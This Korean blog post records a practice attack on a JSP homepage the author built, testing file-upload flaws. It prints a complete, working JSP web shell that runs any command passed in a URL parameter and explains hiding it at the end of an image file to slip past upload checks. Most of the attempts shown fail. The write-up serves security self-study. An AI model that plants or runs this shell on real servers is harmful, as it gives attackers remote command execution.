내가 만든 홈페이지 해킹하기(4)

Jang Seok Woo·2020년 9월 28일
0

보안

목록 보기
16/19

내가 만든 홈페이지 해킹하기(4)

파일 업로드

개발환경 : JSP, Oralce11g

오늘은 파일 업로드를 통해 서버에 쉘을 얻을 수 있는 코드

바로 쉘코드를 서버에 저장시키고 웹 브라우저를 통해 서버의 쉘 명령을 입력해 보도록 하겠다.

먼저 쉘 코드 php로 입력해본다.

Php로 쉘 코드를 입력하여 업로드 후, URL을 따라 들어가면 php 코드가 그대로 노출된다.

홈 페이지를 만들 때 이클립스를 통해 만들어서 jsp를 이용한 웹쉘을 사용해야 될 것으로 보인다.

/* JSP Version URL CMD WebShell           */
/* 사용법 : hxxp://URL/cmd.jsp?cmd=명령어 */
 
<%@ page import="java.io.*" %>
<%
    try {
            String cmd = request.getParameter("cmd");
            Process child = Runtime.getRuntime().exec(cmd);
            InputStream in = child.getInputStream();
            int c;
            
            while ((c = in.read()) != -1) {
                out.print((char)c);
            }
            
            in.close();
            
            try {
                child.waitFor();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
    } catch (IOException e) {
        System.err.println(e);
    }
%>

JSP를 이용한 웹 쉘을 업로드해 결과를 확인

DVWA에서 시도해 보았던 image파일에 웹쉘코드를 넣어 업로드 후 접근해보자

먼저 HxD 프로그램을 열고 헥사코드 맨 뒤에 JSP 웹쉘을 다음과 같이 붙여서 저장한다.

업로드 후 url을 통해 접근해 보도록 하자

?를 이용해 파라미터를 넘기면 에러는 안나지만 아무런 반응이 없다.

파일 다운로드 접근으로 파라미터를 넘겨도 오류

음 오류

&를 이용해 file:///를 이용한 URL로 파라미터를 넘겨도 오류

일단 여기까지

profile
https://github.com/jsw4215

1개의 댓글

comment-user-thumbnail
2022년 9월 13일

안녕하세요, 흥미롭게 잘 보고 갑니다.
혹시 해당 가상머신을 VMX, OVA 등으로 공유 받을 수는 없을까요?

답글 달기